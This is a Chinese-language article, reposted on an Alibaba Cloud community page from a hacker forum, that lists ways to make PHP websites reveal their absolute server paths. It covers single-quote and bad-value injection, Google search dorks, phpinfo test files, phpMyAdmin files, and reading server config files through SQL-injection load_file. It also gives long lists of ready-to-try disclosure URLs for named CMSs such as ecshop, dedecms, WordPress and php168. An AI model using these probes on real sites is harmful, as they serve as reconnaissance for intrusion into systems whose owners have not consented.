php爆絕對路徑方法

來源:互聯網
上載者:User

來自:http://www.cnhonkerarmy.com/thread-139414-1-1.html

1、單引號爆路徑 說明:
直接在URL後面加單引號,要求單引號沒有被過濾(gpc=off)且伺服器預設返回錯誤資訊。
www.xxxxx.com/news.php?id=149′

2、錯誤參數值爆路徑
說明:
將要提交的參數值改成錯誤值,比如-1。-99999單引號被過濾時不妨試試。
www.xxxxx.com/researcharchive.php?id=-1

3、Google爆路徑
說明:
結合關鍵字和site文法搜尋出錯頁面的網頁快照,常見關鍵字有warning和fatal error。注意,如果目標網站是次層網域,site接的是其對應的頂級網域名稱,這樣得到的資訊要多得多。
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”


4、測試檔案爆路徑
說明:
很多網站的根目錄下都存在測試檔案,指令碼代碼通常都是phpinfo()。
www.xxxxx.com/test.php
www.xxxxx.com/ceshi.php
www.xxxxx.com/info.php
www.xxxxx.com/phpinfo.php
www.xxxxx.com/php_info.php
www.xxxxx.com/1.php

5、phpmyadmin爆路徑
說明:
一旦找到phpmyadmin的管理頁面,再訪問該目錄下的某些特定檔案,就很有可能爆出實體路徑。至於phpmyadmin的地址可以用wwwscan這類的工具去掃,也可以選擇google。PS:有些BT網站會寫成phpMyAdmin。
1. /phpmyadmin/libraries/lect_lang.lib.php
2./phpMyAdmin/index.php?lang[]=1
3. /phpMyAdmin/phpinfo.php
4. load_file()
5./phpmyadmin/themes/darkblue_orange/layout.inc.php
6./phpmyadmin/libraries/select_lang.lib.php
7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php

6、設定檔找路徑

說明:
如果注入點有檔案讀取許可權,就可以手工load_file或工具讀取設定檔,再從中尋找路徑資訊(一般在檔案末尾)。各平台下Web伺服器和PHP的設定檔預設路徑可以上網查,這裡列舉常見的幾個。

Windows:
c:\windows\php.ini                                    php設定檔
c:\windows\system32\inetsrv\MetaBase.xml              IIS虛擬機器主機設定檔

Linux:
/etc/php.ini                                           php設定檔
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf                             Apache設定檔
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf         虛擬目錄設定檔

7、nginx檔案類型錯誤解析爆路徑
說明:
這是昨天無意中發現的方法,當然要求Web伺服器是nginx,且存在檔案類型解析漏洞。有時在圖片地址後加/x.php,該圖片不但會被當作php檔案執行,還有可能爆出實體路徑。
/x.php

8、其他
dedecms
/member/templets/menulit.php
plus/paycenter/alipay/return_url.php
plus/paycenter/cbpayment/autoreceive.php
paycenter/nps/config_pay_nps.php
plus/task/dede-maketimehtml.php
plus/task/dede-optimize-table.php
plus/task/dede-upcache.php

WP
wp-admin/includes/file.php
wp-content/themes/baiaogu-seo/footer.php

ecshop商城系統暴路徑漏洞檔案
/api/cron.php
/wap/goods.php
/temp/compiled/ur_here.lbi.php
/temp/compiled/pages.lbi.php
/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
/temp/compiled/page_footer.lbi.php
/temp/compiled/goods.dwt.php
/temp/compiled/user_clips.dwt.php
/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
/temp/compiled/recommend_promotion.lbi.php
/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
/temp/compiled/promotion_info.lbi.php
/temp/compiled/user_menu.lbi.php
/temp/compiled/message.dwt.php
/temp/compiled/admin/pagefooter.htm.php
/temp/compiled/admin/page.htm.php
/temp/compiled/admin/start.htm.php
/temp/compiled/admin/goods_search.htm.php
/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
/temp/compiled/admin/menu.htm.php
/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
/temp/compiled/admin/goods_list.htm.php
/temp/compiled/admin/pageheader.htm.php
/temp/compiled/admin/top.htm.php
/temp/compiled/top10.lbi.php
/temp/compiled/member_info.lbi.php
/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
/temp/compiled/page_header.lbi.php
/temp/compiled/goods_script.html.php
/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
/temp/compiled/myship.dwt.php
/temp/compiled/brands.lbi.php
/temp/compiled/help.lbi.php
/temp/compiled/goods_gallery.lbi.php
/temp/compiled/comments.lbi.php
/temp/compiled/myship.lbi.php
/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
/includes/modules/cron/auto_manage.php
/includes/modules/cron/ipdel.php

ucenter爆路徑
ucenter\control\admin\db.php

DZbbs
manyou/admincp.php?my_suffix=%0A%0DTOBY57

z-blog
admin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php

php168爆路徑
admin/inc/hack/count.php?job=list
admin/inc/hack/search.php?job=getcode
admin/inc/ajax/bencandy.php?job=do
cache/MysqlTime.txt

PHPcms2008-sp4
註冊使用者登陸後訪問
phpcms/corpandresize/process.php?pic=../images/logo.gif

bo-blog
PoC:
/go.php/<[evil code]
CMSeasy爆網站路徑漏洞
漏洞出現在menu_top.php這個檔案中
lib/mods/celive/menu_top.php
/lib/default/ballot_act.php
lib/default/special_act.php

WordPress:
wp-includes/registration-functions.php

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.